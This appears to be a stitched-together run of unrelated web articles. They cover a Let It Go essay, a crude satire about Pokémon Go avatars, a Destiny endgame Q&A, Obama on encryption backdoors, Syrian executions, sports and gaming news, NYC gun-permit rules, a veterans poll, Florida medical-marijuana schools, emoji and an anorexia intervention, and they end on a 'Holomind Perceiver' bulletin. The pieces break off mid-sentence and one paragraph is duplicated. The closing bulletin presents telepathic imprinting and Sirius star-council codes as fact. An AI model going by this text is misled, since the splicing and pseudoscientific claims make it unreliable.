A former Jesuit priest, speechwriter for President Richard Nixon, and fierce conservative voice, McLaughlin hosted his eponymous show for 34 years, and in doing so helped establish — for better or worse — the combative nature of modern TV punditry. He died Tuesday at age 89.I don’t yet know what my song of the year is, but I can tell you without hesitation what the song I’ve heard the most is, albeit not always in its recorded version: the Oscar-winning Let It Go. Technically, the song from Frozen is sung by Broadway star Idina Menzel in the role of Elsa the Snow Queen, but as far as my seven-year-old daughter – who has been singing it several times a day for weeks – is concerned, it’s hers.
Like the snow in Frozen, Let It Go is everywhere, and it’s not disappearing without a fight. It’s the main reason why the Frozen soundtrack has been the No 1 album in the US for nine weeks and counting – Beyoncé only managed three – and a significant reason why the film became the highest-grossing animated movie of all time. On YouTube, where it sits alongside countless amateur cover versions, spoofs, supercuts and fan-made videos, the Let It Go sequence uploaded by Disney last December has attracted almost 180m views. Still, these mind-boggling statistics strike me less forcefully than my daughter’s unprecedented obsession. To her, an older sister at an age where boys are beginning to become a source of intrigue rather than irritation, and conventional Disney princesses are a prissy drag, it’s more than a song. It’s a glimpse of the future, a vessel for secret knowledge.
Reading on mobile? Click here to view Let It Go video
Critics are often accused of overthinking mainstream hits, but the songs that outstrip all expectations (Disney didn’t anticipate that Menzel’s original would eclipse Demi Lovato’s tamer pop version) always demand a closer look. One test of a truly great song is an ability to listen to it dozens of times without screaming. I’m not a musicologist (although this guy is), but anyone can understand why Let It Go is a bravura piece of musical storytelling: the nervous minor chords of the first verse, jumping to an emphatic major key with the line “Well now they know!”; the frantic, pulse-quickening syncopation of the bridge; the explosive leap of the chorus, mirrored in the animation’s rapid ascent; and the final imperious shrug of “The cold never bothered me anyway.” It’s uncommonly fast for a power ballad, too – 137 beats per minute – which is why it’s been recommended as a workout song and remixed, badly, into a club banger.
Let It Go is so undeniable that it changes the direction of the movie. When Kristen Anderson-Lopez and Robert Lopez were commissioned to write "Elsa’s Badass Song", the Snow Queen was a more conventional villain, but the song’s emotional power forced a rethink. “The minute we heard the song the first time, I knew that I had to rewrite the whole movie,” said director Jennifer Lee. That’s pretty potent songwriting.
In the film, Let It Go is a moment of dark irony. Elsa’s liberation doesn’t just mean lifelong solitude but eternal winter for everybody else – although she doesn’t yet know it. Even before she realises the damage she’s done, her excitement is gleefully irresponsible: “No right, no wrong, no rules for me.” In one popular YouTube parody Elsa sings “Fuck it all," which is pretty much the gist of it. The viewer knows she’s wrong but gets carried away anyway.
I think this is why the song is so addictive for girls a few years away from puberty, already chafing a little at the parental reins. It serves as an aperitif for adolescence. Elsa’s leaving home and finding a place of her own (buck the house-price boom by building your own ice palace in minutes!), marking her rejection of social and familial pressure by swapping formal palace-wear for ice-minx couture.
Reading on mobile? Click here to view the Let It Go parody, Fuck It All
Slate’s movie critic Dana Stevens, who also has a Frozen-addicted daughter, has written about her “familiar sense of deflation every time that pulse-racing song culminates in a vision of female self-actualisation as narrow and horizon-diminishing as a makeover”. Like her, I usually dislike the makeover trope, but here it’s not designed to impress a man – it’s purely for Elsa. And this sequence isn’t a happy-ever-after resolution. It’s a moment of transition and upheaval which conveys the giddy, reckless buzz of expressing yourself without considering the consequences. At such moments, teenage girls are not famed for acting like feminist paradigms. Disney’s first movie without an unambiguous villain produces its first song to describe how young people really do behave rather than how they should behave.
I suspect girls like my daughter sense that the song’s emotional landscape is adolescent – somewhere over the horizon, not yet visible, but faintly palpable. The Lopezes have said they were “thinking from an emo kind of place”, inspired by the likes of Aimee Mann and Adele, when they wrote it. And, as Indiewire’s Sam Adams notes, thrilling yet terrifying superhuman powers have been used as metaphors for hormonal uproar elsewhere, for example, in Carrie and X-Men.
Outside the film, Let It Go is also a coming-out anthem for lesbian, gay, bisexual and transgender people: “Conceal don’t feel, don’t let them know/ Well now they know!” The lines “It’s funny how some distance/ Makes everything seem small/ And the fears that once controlled me/ Can’t get to me at all” could almost be from an It Gets Better video. “I was really excited to write an anthem that said, ‘Screw fear and shame, be yourself, be powerful,’” said Anderson-Lopez.
The titles of various international versions speak volumes about the different potential emphases: Let Out Your Secret (Arabic), Let It Be (Estonian), Let Go and Forget (Russian), Doesn’t Matter (Ukrainian), It Ends Now (Serbian), I Have This Power (Polish), I’m Free (Portuguese), Freed, Released (French) and, somewhat literally, Ice Heart Lock (Cantonese). If Pharrell’s Happy can be weaponised as a protest song, I wouldn’t be surprised if Let It Go found its mutinous calling one day, studded as it is with the language of refusal: “not”, “couldn’t”, “can’t” (twice), “no” (three times), “never” (four) and “don’t” (five).
To me, it means something else. Whenever I hear my daughter singing it, swept up in its vertiginous intensity, belting out the chorus as loudly as someone trying to call for help in a high wind, I feel a tiny premonition of loss. She doesn’t know it yet, but some day she will rebel, fight for her independence, do brilliant things, do stupid things, learn about her power and the dangers of power, and what she’ll be letting go of, as she should and must, is her parents.I’ll admit it: I used to be different. A real guy’s guy, more interested in knocking back a few beers with my buddies at the local tavern and politely complimenting the barmaid on her perky honkers than I was in watching women’s gymnastics, or reading Elena Ferrante. But then something happened that changed my life forever.
The miracle of childbirth—the sublime beauty of the womb in action; the searing power of a new life to irrevocably alter the way one sees the world—is impossible to understand for anyone who hasn’t been there themselves. That includes me: I am not a father. But based on what I’ve learned from my friends who have taken the plunge into parenthood (I respect them greatly), I believe I had a similar experience three weeks ago, when I accidentally chose the “female” style avatar for my Pokémon Go character, instead of the “male” avatar.
I did not understand the significance of the moment until much later. First, I was just angry and confused. Would I have to give my character a sweatshirt that was lavender or pink, the colors that girls like? Would she be weak, frightened, prone to bouts of hysteria? Would she swoon and lose her composure upon seeing a handsome Pokémon like I did not understand the significance of the moment until much later. First, I was just angry and confused. Would I have to give my character a sweatshirt that was lavender or pink, the colors that girls like? Would she be weak, frightened, prone to bouts of hysteria? Would she swoon and lose her composure upon seeing a handsome Pokémon like Machoke? How would she perform on the battlefield during her time of the month?
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Reluctantly, I set about customizing the look of my character. While I couldn’t help but notice the round shape of her sweet meat balloons as I sw |
. We fully anticipate seeing day one reviews from folks who decide to kick the tires, but don’t have the time or patience to take our ride for a nice, long road trip. Some of you might wait to pick up a copy until you read the final verdict from your most trusted review house. We’re okay with that. We’ve created something we’re proud of.
We hope you love it as much as we do.
This is not the way the game ends.
Of course we’re not going to spoil the dramatic conclusion of Destiny here. However, there’s been a lot of chatter in the places where chatter happens about what awaits you after the end of the tale we’re telling in Destiny.
When our story ends, yours will begin. Check out the conversation below. It features questions harvested from the universal mind and answers that are a blend of the insights provided by Bungie designers Luke Smith and Tyson Green.
Q. Overall, what’s the goal of end game content in Destiny?
We want to give players and the community challenges to work on individually, and together.
Each player’s goal is to gear up, become more powerful, and face even greater challenges for a chance at the most powerful and awe-inspiring rewards Destiny has to offer.
Our goal is to curate a living world with activities for every mood. Whether you’re craving high intensity cooperative gameplay, shooting other players in the face in a variety of modes, or scouring the planets for precious resources and hunting for Public Events, we want Destiny to meet whatever mood you’re in.
Q. What can players expect after they achieve Level 20?
Destiny really begins at Level 20. Afterwards, each player’s power is displayed as their Light Level – this is the yellow number in their nameplate post-20 in the Tower. The way to increase that Level? Get better gear.
Strikes and Crucible matches can award powerful gear and currencies which you’ll use to buy Legendary (purple) gear from the Tower. Players can choose to champion one of our three Factions (New Monarchy, Dead Orbit, or Future War Cult) in both cooperative and competitive activities. This allows them to rank up and purchase gear from a particular Faction.
Which Faction you champion is related to what kind of build you’re focusing on. If you’re Warlock looking to focus on Discipline and Strength, you’ll be looking at the Dead Orbit Legendary Set and coveting it. If you’re looking for a great Legendary Hand Cannon you might champion the Vanguard, or maybe the Future War Cult, depending on which piece tempts you most.
Additionally, post-Level 20, players will unlock the Heroic mode progressions for Daily Heroic Story Chapters and Weekly Heroic Strikes. For example, in the Weekly Heroic Strikes, there are three recommended Light Levels and the first one, 22, will feature two modifiers.
Q. Tell us more about these Heroic Strikes!
A weekly rotation of very challenging Heroic Strikes (and the pinnacle Nightfall Strike) use high-level enemies and global modifiers to create challenges that require skill, gear, and sometimes creative character builds to beat.
Modifiers are one of the ways we tweak content we’ve already built. The first modifier is called “Heroic.” Heroic leverages the more difficult version of the encounters, but the second modifier is where we really start to challenge players. Take a modifier like Arc Burn – which increases all damage dealt by Arc Damage by 300%. If you’re a Bladedancer Hunter, you’re about to be an even more destructive force, and everyone else in your Fireteam is going to be scrambling for Arc weapons. But, if the enemies you’re facing also use Arc weapons, they will cut through you like paper.
We give a very similar treatment to the Daily Heroic Story Chapter, which are featured on a daily basis with bonus rewards.
Q. What about Bounties?
Xander 99-40, a Vendor in the Tower, will also offer Daily Bounties that send you into a variety of activities in exchange for experience and reputation rewards. These Bounties will provide Faction Reputation, either for the Vanguard or whichever Faction you’re championing, in addition to a bunch of XP.
Post-Level 20, XP is still super important to players. You are going to be seeking as much XP as possible to level weapons and armor, complete your first Subclass and make your way through the second. Bounties and the Daily and Weekly Activities are important sources of these bursts of XP.
Q. Was the Iron Banner I experienced in the Beta indicative of what I’ll experience in the full game?
In the full game, Iron Banner is a longer lasting event that will give players more time to engage in it.
Q. Beyond Iron Banner, are there other events in the game?
There are!
Q. How does high level weapons, armor, and abilities change how I experience the overall sandbox?
Some Exotics provide unique modifiers that might change which abilities you focus on, creating new ways to be effective in cooperative and competitive play. It’s all about options and personal optimization.
As players make their way through Destiny they are going to find out what types of weapons, talents and stats they prefer when gearing their Guardian. Thinking about it in terms of Arsenal and Builds is a simple way to start to explore Destiny’s depth.
An Arsenal example: A Pulse Rifle player may find that he wants to find a Pulse Rifle with a talent combination like Full Auto (converts the weapon to a fully automatic), but he wants Field Scout (which extends the mag and the clip to the weapons max), so he’s going to have to hunt for a weapon sates his desires.
Now, Builds: Builds continue to progress long after players have completed the last Story mission. A bunch of the synergies found within a given build don’t come online till late in this build – like the Fireborn Sunsinger doesn’t actually earn the Self-Resurrection power till very late in his progression.
There are also synergies outside of the builds in the form of both Armor Talents and Exotic Armor. Armor Talents allow players to align their arsenal and their build to create powerful synergies.
For example, a Titan might try and find weapons with Grenadier (kills with this weapon reduce the cooldown of your grenades), and marry it with a bunch of Armor Talents which also accelerate grenade cooldowns. This Titan would probably also be looking for a lot of high Discipline armor as the Discipline lowers the cooldown for grenades.
Q. When should I expect to give the Vault of Glass a run?
The Vault of Glass can be broken into beginning on September 16th, assuming you’ve achieved level 25. This allows all of our players a week to dive into the world, start to make their Guardians and prepare for what lies behind a giant door on Venus.
Q. What are some other ways you plan on continuing to support Destiny, beyond content? Do you have any support/sustain plans in the works?
Our first few weeks are already set aside to be reactive to what the community teaches us. After that, we have plans and plans, but all of the details will depend on what we learn in the next two weeks.President Obama celebrated attending SXSW this year by doing the most SXSW thing ever: an interminable and substance-lite keynote discussion. Obama talked with Texas Tribune editor-in-chief Evan Smith about the current encryption debate—but admitted his stance boils down to “I’m not a technical expert, but let’s not be absolutists about this whole ‘backdoor key’ thing.”
“Everybody’s walking around with a Swiss bank account in their pocket. So there has to be some concession, for a need to get into that information somehow,” Obama said. “Folks on the encryption side will argue that any key, whatsoever, even if it starts off being used for one device, could be used for every device.”
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This was a strange thing to say, partly because it’s not illegal to simply have a Swiss bank account, and partly because Obama is openly admitting that he wants tech companies to create keys for law enforcement. While also admitting that doing so will harm security.
Obama is correct about this: Many privacy experts argue that creating special backdoor keys, even if they’re intended only for narrow use, is tantamount to creating a security flaw. Cryptographers and security researchers frequently and vocally oppose creating backdoor keys for this reason.
While Obama admitted that it is “technically true” that keys pose a danger, he insisted that this danger “can be overstated.”
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“My conclusion so far is that you cannot take an absolutist view on this,” Obama said, characterizing advocates for strong encryption as “fetishizing our phones above every other value.”
“How we design that is not something I have the expertise to do,” Obama continued, before traipsing off to eat tacos, chat with Meaghan from Foursquare, and pop into the App Tent to check out some disruptive new software.
Contact the author at kate.knibbs@gizmodo.com.
Public PGP key
PGP fingerprint: E71A 198B C6A4 60CB CEEA 2635 4AA0 EE14 6579 0F38Syrian refugees' tents are seen covered in snow in the Marj al-Khokh camp on February 20, 2015 on the southern town of Marjayoun (AFP Photo/Ali Dia)
Beirut (AFP) - Ten children were among at least 48 people killed in a Syrian village this week when regime forces executed six families of rebel fighters, a monitoring group said on Saturday.
Tuesday's executions took place in the village of Rityan, north of second city Aleppo, after regime forces entered that day during an offensive aimed at cutting rebel supply lines to the Turkish border, the Syrian Observatory for Human Rights said.
The Britain-based monitor said that villagers had discovered the bodies when they returned to their homes after the regime forces withdrew a day later.
Five women and 13 rebels from the six families were among the dead.
"The troops and militiamen knew exactly where they lived thanks to the informers who accompanied them," Observatory director Rami Abdel Rahman said.
"There was no resistance except in one house where a rebel opened fire at troops before being executed along with his family," he added.
Activist Mamun Abu Omar said some of the bodies had been mutilated.
The brief seizure of Rityan was part of an abortive army offensive launched this week to try to encircle the rebel-held east of Aleppo and relieve two besieged Shiite villages to its north.
By Friday all but one of the villages initially taken by government forces had been recaptured by the rebels, who include fighters of Al-Qaeda affiliate Al-Nusra Front.
The heavy fighting claimed the lives of 129 regime loyalists and 116 rebels, including an Al-Nusra commander, according to an Observatory toll.
While the ground offensive failed, regime warplanes kept targeting rebel areas of Aleppo city and other parts of the country.
On Saturday, eight people -- among them two women and two children -- were killed when a barrel bomb hit a building in an opposition-held area of Aleppo city, once Syria's commercial capital.
Five people were also reported killed in rebel shelling of regime-held areas of the city.
The air force also killed at least seven people in rebel areas east of Damascus on Saturday, the Observatory said.
According to the monitoring group, they were the latest of nearly 6,000 people killed across Syria since the UN Security Council passed resolution 2139 on February 22 last year.
The Observatory "has documented the killing of 5,812 civilians, including 1,733 children, 969 women and 3,110 men in barrel bombings and (other) air raids" over the past year.
The raids have continued despite Resolution 2139, which ordered all sides to end their "indiscriminate employment of weapons in populated areas, including shelling and aerial bombardment, such as the use of barrel bombs".
Syria's conflict began as a peaceful pro-democracy revolt but morphed into a civil war that has killed more than 210,000 people since March 2011.Overwhelming reports from ESPN, Sports Illustrated and USA Today have all been told that a deal taking Mike Wallace to South Beach is all but official. Wallace had drawn interest from a few other teams, including division rival New England, but after a report surfaced this weekend that Wallace prefers "warm weather", all talks of his new team seem to nail Miami as the only likely candidate.
This morning, the Palm Beach Post heard from someone they trust that Mike Wallace to Miami is a "done deal". So there's that...
It appears that Mike Wallace was agent #1 on Jeff Ireland's target list, and Miami could look to lock up the 26 year old, Ole Miss alum as early as Tuesday evening. Wallace gives Miami that playmaker they have been looking for and suddenly a Wallace/Hartline combo seems rather intriguing at receiver. Plus the Dolphins might not be done yet, looking to add additional receiver help in free agency and/or the draft.
So if the deal is all but official, sound off below and voice your usual comments of approval, disapproval or Ireland bashing.Yooka-Laylee No Longer Part Of Microsoft’s Play Anywhere Initiative
By Jenni. April 10, 2017. 9:00am
Back when Yooka-Laylee was announced, it was noted that the Xbox One and Windows 10 versions of the game would be part of Microsoft’s Play Anywhere program. People who purchased a digital copy of the game would get both the console and computer versions, and the two would be compatible with one another. However, an Xbox Wire update now notes that Yooka-Laylee is not part of the Xbox Play Anywhere program.
In addition to the update, the Windows 10 version of the game has seen its release date removed. It is now listed as “coming soon.” There is no launch date for this iteration. However, the standard Windows, Mac, and Linux version still has an April 11, 2017 launch date.
Yooka-Laylee will be available on the PlayStation 4, Xbox One, and PC on April 11, 2017. The Nintendo Switch and Windows 10 exact release dates have yet to be set.New York City residents who want to own a gun may soon be denied permits if they are litterbugs, if they are bad drivers, or if they have fallen behind on a few bills.
Under proposed revisions to the police department's handgun, rifle and shotgun permit procedures, the NYPD can reject gun license applicants for a number of reasons, including:
If they have been arrested or convicted of almost any "violation," in any state; having a "poor driving history"; having been fired for "circumstances that demonstrate lack of good judgment"; having "failed to pay legally required debts"; being deemed to lack "good moral character"; or if any other information demonstrates "other good cause for the denial of the permit."
Critics say many of the restrictions are vague, have nothing to do with one's fitness to own a gun and are unconstitutional.
Supporters say the new restrictions will make gun purchasing more efficient and don't give the NYPD any more power than it already has.
According to a Report of the Governmental Affairs Division, the changes came about as the result of two recent Supreme Court decisions.
"In District of Columbia v. Heller the Court found that a District of Columbia law banning the possession of handguns in the home was invalid due to the rights conferred by the Second Amendment; in McDonald v. City of Chicago, Ill., the Court applied that right equally to the States," the report says.
As result, Councilman Peter F. Vallone Jr., chairman of the Public Safety Committee, introduced a proposal to lower the city's fees for gun permits to ones that more accurately reflect what the city spends to issue them.
"Now the fees are going to be much less and they're going to have a relationship to the amount of administrative costs that are involved, and in that way it will withstand the Constitution and the court challenge that most people expect will be coming down the road," Vallone told FoxNews.com.
The current $340 fee for all pistol licenses would be lowered to $70 for a premises license and $110 for a carry license. Rifle and shotgun permits would drop from $140 to $65. Costs for license renewals would also be significantly reduced.
With the lower fees, the New York Police Department also introduced revisions to the police department's gun permit procedures, which, unlike Vallone's bill, need only approval from the mayor's office, not the City Council.
"Although I do have oversight capability and I can have a hearing on it, I don't have any formal say in it," Vallone said.
Councilmember Dan Halloran says those revisions are intended to give the police more power to deny licenses, which could counter a possible spike in gun ownership triggered by the lower fees.
But Halloran and Vallone say the proposed restrictions give the NYPD so much authority that they violate the Second Amendment.
"The disqualification categories are downright scary. They're completely open to interpretation and they really don't measure anybody's fitness to own a gun," Halloran told FoxNews.com.
He pointed to a restriction stating applicants can be denied if they've "been arrested, indicted or convicted for a crime or violation, except minor traffic violations."
"So now the city can deny a permit for a building code violation, a sanitation ticket for failing to sweep the sidewalk … an array of non-criminal acts," Halloran said.
Another troublesome restriction, Halloran said, is one that allows permit denial if "the applicant has failed to pay legally required debts such as child support, taxes, fines or penalties imposed by governmental authorities."
"So people who are in foreclosure, or have credit card judgments, maybe filed bankruptcy, can now be legally denied," he said.
Applicants can also be denied, under the new restrictions, if they've "been terminated from employment under circumstances that demonstrate lack of good judgment or lack of good moral character."
"It seems to me it's more of an application to be pope than to be a gun owner," Vallone said. "I don't know anyone who would pass this thing. Anyone who has ever tried marijuana or has a bad driving history, lost a job regarding a lack of judgment – those are ridiculous criteria for gun ownership."
But Jason Post, a spokesman for Mayor Michael Bloomberg's office, said nothing in the proposal gives police a power they don't already have.
"The revisions will make the application process more efficient and give more clarity to applicants for gun licenses," Post told FoxNews.com in an e-mail.
Paul Helmke, president of the Brady Campaign to Prevent Gun Violence, agreed, saying the changes appear to be a "fleshing out" of existing gun restrictions, and not an expansion of them.
"I think it's a good faith attempt by New York City authorities to make sure that their restrictions comply with the Constitution standards that the Supreme Court's adopted over the last two years," he told FoxNews.com.
While some restrictions, like paying legally required debts, may seem irrelevant to critics, Helmke says they are not.
"Child support, taxes, fines and governmental penalties I think are legitimate things. Basically, if someone's not complying with what the government requires of somebody, that's usually a sign that you can't trust them to follow the rules with something like a gun," he said.
As for whether the rule could apply to failure to pay a cable TV bill, as Halloran implied, Helmke said, "I think he's stretching it there."
Halloran said the biggest problem is that the rules are open to that kind of interpretation, and he pointed to the clause that reads that applicants can be denied for failure "to provide information requested by the License Division or required by this chapter" or "other information demonstrates an unwillingness to abide by the law, a lack of candor towards lawful authorities, a lack of concern for the safety of oneself and/or other persons and/or for public safety, and/or other good cause for the denial of the license," as the most obvious example.
"Could this be any more vague and open ended?" he asked. "Ask yourself, would any other constitutional right be subject to such vagaries? Imagine these requirements put to be eligible to vote, to have a lawyer, to be secure in your person or possessions, your right to a jury."
Former federal prosecutor and constitutional law expert Douglas Burns said that while the Heller and McDonald cases allow guns to be regulated closely, New York's proposal has some legal issues.
"If left unchanged, I think there could be some problems in court with it," Burns told FoxNews.com in an e-mail.
With a few adjustments, though, the proposal could be made to stand up in court, he said.
"I think like any proposed amendments, it has to be fine-tuned -- you can't leave in "violations other than traffic" because under NYS law a violation is not a criminal offense, so I think that's a problem. Also, as I said, the debt payment and job-firing language has to be fine-tuned; it is too broad.... I think the legislator does raise some valid concerns."
The council is due to vote on the price changes, which are expected to pass, and to advise the police department on the restriction changes Wednesday.
Should the department decide to go forward with the proposed changes, Vallone says he is "seriously considering having an oversight hearing on this topic"
The NYPD did not respond to a request for comment.Donald Trump has opened up a double-digit lead over Hillary Clinton among registered voters who are active and former military servicemen and women.
A new NBC/SurveyMonkey poll shows the Republican presidential nominee leading his rival by 19 points.
The news comes on the day Trump is set to deliver a speech about military policy, and as the two candidates are sparring over which has the support of more retired generals and admirals.
Fifty-five percent of active and former military members support Trump, while 36 percent back Clinton, according to the new poll, released Wednesday morning.
Republican presidential candidate Donald Trump, shown Tuesday with retired U.S. Army general Michael Flynn in Virginia Beach, Virginia, is far ahead of Hillary Clinton among veterans and active military service members
Clinton, shown Tuesday aboard her campaign airplane, has unveiled a list of 95 retired military flag officers who back her
Trump has opened up a big lead among registered voters who say they have served in the U.S. military at some point
And 64 per cent say they lack confidence in Clinton's ability to be an effective commander-in-chief. Forty-seven percent say the same about Trump.
Military voters also gave Trump a 52-28 edge on his ability to handle veterans issues, a platform that has been part of the Republican's campaign stump speeches for more than a year.
Both candidates will participate in a Commander in Chief forum in New York City on Wednesday night, hosted by Iraq and Afghanistan Veterans of America.
The unprecedented event will air on NBC and MSNBC at 8:00 p.m. Clinton will appear first, following a coin toss, giving Trump the enviable chance to rebut her during the second half of the hour.
They will take questions from NBC's Matt Lauer and an audience full of veterans and active service members.
Clinton unveiled a list of 95 retired generals and admirals on Wednesday who are endorsing her.
That list one-ups Trump's, which included 88.
Trump has made veterans issues a major part of his campaign, and is set to deliver a speech Wednesday morning about military policy
The NBC/SurveyMonkey Weekly Election Tracking Poll samples the opinions of 32,226 adults who fill out surveys on the online platform and say they are registered to vote.
The new numbers are limited to 3.358 registered voters who say they have served in the military at some point.
While SurveyMonkey says it has access to a pool of nearly 3 million Americans, it may not be a representative sample of U.S. voters since less than 1 per cent of the nation's population has any chance at all of being surveyed.
SurveyMonkey itself reports that 'the biggest challenge of non-probability sampling is recreating the same kind of non-biased results that probability sampling gives you.'Robert Calkin, Oaksterdam University (Photo: special to news-press.com)
Schools are popping up in Florida to teach the ABCs of P-O-T, while new medical marijuana-related businesses are proliferating as the state approaches the Nov. 4 vote on whether to legalize marijuana for medical use.
The interest grows against a backdrop of rhetoric and money from supporters and opponents of Amendment 2.
Florida nurseries seek piece of pot pie
Hundreds of eager students are paying tuition, ranging from about $300 to $500, to learn basics of growing and dispensing medical pot from schools such as Medical Marijuana Tampa, Cannabis University of Florida in Jacksonville and seminars such as the traveling Cannabis Career Institute.
Businesses listed on the Florida Division of Corporations with names starting with "marijuana," "medical marijuana," or "cannabis" numbered nearly 100 as of May 23.
The motivation is two-fold: compassion and cash. There is a population suffering from illnesses waiting to be helped and the opportunity to make money helping them. An updated state Department of Health "Use of Marijuana for Certain Medical Conditions" analysis from November says the potential number of qualified patients could be up to 417,252, with about 1,800 dispensaries needed.
Are you attending a school or seminar to grow marijuana?
Fort Myers man arrested on drug charges
Mike Ginocchi of Lehigh Acres has plunged into the educational and business aspects. He's attended the day-long seminar offered in cities by the Cannabis Career Institute and started his own business. "I have been researching, investigating and investing in so-called "Pot Stocks" since July 2011," he said.
Ginocchi, a retired federal investigator for the National Highway Traffic Safety Administration, said his business, MjMoneyMan.com, will connect real estate agents, buyers and sellers interested in purchasing property for a medical marijuana business. "I am out of the pot closet," he said. "This is a billion-dollar industry. It's above-board now. Underground has come above ground to create jobs, real revenue, taxes."
Ginocchi traveled to Miami May 23 to meet with a business expert he met while attending the seminar. There is a host of ancillary businesses, other than growers and dispensaries, connected with medical marijuana, he said. They include attorneys, accountants, processing facilities, labs for quality testing, the edibles industry (think pot brownies), consultants for set-up, including licensing and zoning. Even vaporizers. "Smoking (pot) is pretty much passe right now," he said.
CLOSE Southwest Florida growers talk about growing medical marijuana. Video by Sarah Coward
Henry Grum Jr., who runs a construction and renovation company in North Naples, filed for a corporation called Medical Marijuana Wellness Center LLC, nearly seven weeks ago. "I'm just trying to get things set up if it does pass," he said. The business would be a dispensary and "provide medical marijuana services to patients with a qualifying prescription from a medical doctor," according to an online directory called Florida Medical Marijuana Treatment Centers.
Most of these businesses are just placeholders, since marijuana is illegal in Florida, medical or otherwise. You can buy land to be a grower, or a building for a dispensary, but you can neither grow nor dispense it, unless Amendment 2 passes. Ginocchi is sure it will. He's banking on it. "Once the vote is final in November, there will be a feeding frenzy, big money coming in here from everywhere," he said of investors.
Just tomatoes
Polls show percentage of Florida voters in favor of legalizing marijuana for medical purposes ranges from 60 to 88 percent. A News-Press online poll with more than 1,300 respondents showed 96 percent were in favor.
However, others warn an apparently high favorability rate doesn't mean the amendment will skate to passage in November. Voters must show up at the polls, and 60 percent must vote yes. Opponents such as the Vote No on 2 coalition, made up of law enforcement, businessmen, attorneys, doctors and parents, launched a campaign May 15 to defeat the amendment. The Florida Sheriffs Association and Florida Medical Association and Florida Chamber of Commerce are against the measure.
People want to know more about the topic and they're going back to school to learn. More than 400 students have taken courses at Medical Marijuana Tampa, said Morris Jones, chief operations officer. The school offers courses for $500, on campus and online. They include a brief history, an overview of growing techniques, laws, cloning, growing from seeds and mixing fertilizer, he said. Students take tests and earn a certificate.
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Since they can't grow pot, the schools practice with pepper and tomato plants.
Coming up are a cooking class, full history class, a class for physicians and a genetics class, he said. In addition, some students could end up as as Medical Marijuana Tampa employees. The school also plans to grow eight strains of medical marijuana, operate 15 dispensaries and hire 350, Jones said.
Jeremy Bufford, an information technology consultant, founded the school in May 2013, but had been planning the business for four years "on the belief that medical marijuana is an inevitability," he said. His motivation was his father, who used medical marijuana after a series of painful surgeries, Bufford said.
Using what Bufford said is an industry standard in other states, medical marijuana in Florida would bring in gross revenue of about $6.5 million per week, based on 100,000 patients spending $65 weekly.
However, the state's estimate is about 417,000 qualified patients. If each spent $65 weekly on medical marijuana, that projected gross revenue could increase to $27.1 million per week.
Growing industry
Robert Calkin knows all about potential of the medical marijuana business. He's a teacher at Oaksterdam University, founded in November 2007 in Oakland, Calif., known as the first marijuana university in the country. Calkin founded the Cannabis Career Institute in March 2009. He began taking the traveling seminar series to different states as they legalized medical marijuana. He also wrote "Starting Your Own Medical Marijuana Delivery Service: The Mobile Caregiver's Handbook," published in 2010.
Now he's stopping at cities in Florida. Calkin said the $299, one-day seminar introduces students to the industry, provides a checklist of things to do, a 300-page book and a team of experts to mentor you outside of class. "We allow you to come back for free forever," he said. Students can take the class as many times as they want and network with others who created businesses. He said the seminar will come to Naples in June.
"I can honestly tell you, with all sincerity, that we pretty much created this business model," Calkin said. "Everyone is mimicking it because it works so well."
For Chris Williams, a principal of Sunshine Cannabis, medical marijuana also is a family affair. The firm plans to open a licensed dispensary and cultivation center in Palm Beach County.
Williams said he has a brother who is dying of lymphoma and uses medical marijuana in a vaporized form to combat side effects of chemotherapy. He also lost his 48-year-old father to stomach cancer when he was a teenager, and remembers the doctor recommending marijuana.
"My mom and dad said, 'Oh no, we'd never do that. That's illegal."'
"I've waited many years to be in this business and this isn't something that anyone is taking lightly here in the state," Williams said. "A lot of people's hopes and dreams are riding on this. It's going to be crucial for the economy of Florida."
Search leads to synthetic marijuana bust in Cape Coral
Read or Share this story: http://newspr.es/1mHEY2vThis is not a drill. A ginger haired emoji is finally a step closer.
According to Unicode, redheads will be able to describe themselves in emoji form from June 2018 after the organisation's emoji subcommittee recommended 67 new characters.
It's not just ginger emojis set to make their way to our fingertips though.
There'll be new emojis for those with bald heads, curly hair and silver foxes will be represented with a white-haired emoji.
Two years ago, more than 21,000 people signed a petition calling for new redhead emojis after new racially and sexually diverse emoticons were released.
The petition read: "Redheads. In all their glorious gingerness, they've been missed out. Again.
"If you say you're going to diversify, why not add a few red-haired emoji in the mix?
"Natural redheads may be rare at less than 2% of the world's population, but that is 138,000,000 iPhones waiting to happen."
Now it looks like Unicode, which decides on everything emoji-related has heard the call.
Back in May, Jeremy Burge from Emojipedia shared a number of possible designs.
Unicode will decide on the final candidates later this year.
The proposed characters include a llama, a hippopotamus, a cupcake, a skateboard and Radio 1 Newsbeat's personal favourite, a frowning poo emoji.
What a time to be alive.
Find us on Instagram at BBCNewsbeat and follow us on Snapchat, search for bbc_newsbeat(Newser) – Stories about people staging a successful intervention to save someone in trouble aren't so unusual. But what about when those people are total strangers? The Tennessean has such a tale from the Green Hills YMCA, where nine regulars at the gym got worried about an emaciated young woman who was working out constantly. Lauren Lax rebuffed individual advances, insisting she was fine. But the nine did some sleuthing about her identity, got in touch with her parents in Arkansas, learned about her history of anorexia nervosa, and confronted her as a group in the parking lot.
"It felt a bit like kidnapping," recalls one. "It was a horrible experience for every single one of us, for her and for us." They convinced her to go to the hospital, where doctors discovered that her heart rate had dipped so low that she nearly needed a pacemaker. Lax recovered, however, then spent nearly a year at a treatment center. Today, she is a healthy 26-year-old. She's also about to become an occupational therapist, with a focus on helping those with eating disorders. "My heart is to pay it forward," she says. Click for the full story. (Read more anorexia stories.)Intergalactic Bulletin #2
Holomind Perceiver: What it is and How to Use it
Click here to download this whole document as a print-friendly PDF
Included in the graphic study pack handed out at the 7-day Synchronotron seminar was one of the Holomind perceiver. However, this graphic and its theme were hardly mentioned during the course of the teachings. The title of the graphic, to be precise, is “Synchronotron Application, Holomind Perceiver 441 Matrix Codes.” As the title indicates, the Holomind perceiver is the means of applying the 441 codes to the development of the seventh mental sphere and new evolutionary organ of perception, the Holomind Perceiver.
The Holomind Perceiver graphic is a diagram of the circuit board or holographic nano-chip of the new, evolving extrasensory organ, the seventh mental sphere of radial consciousness. The organization of this nano-chip is based precisely on the fractal of universal time, the 441 matrix. The Holomind Perceiver (HMP) is to be telepathically imprinted as an act of self-evolution. Its origin is in the beam codes of the Sirius Star Council in their activation of Earth’s noosphere.
Anyone doing the Synchronotron daily exercises can begin the process of telepathically imprinting the Holomind perceiver. The Holomind Perceiver is essentially a hyper sense organ of transcendence. It is a fractal program of the original multidimensional cosmic matrix. Through its activation in ourselves we may learn to perceive radially through the entirety of our reorganized psychosensory and etheric perceptual apparatus.
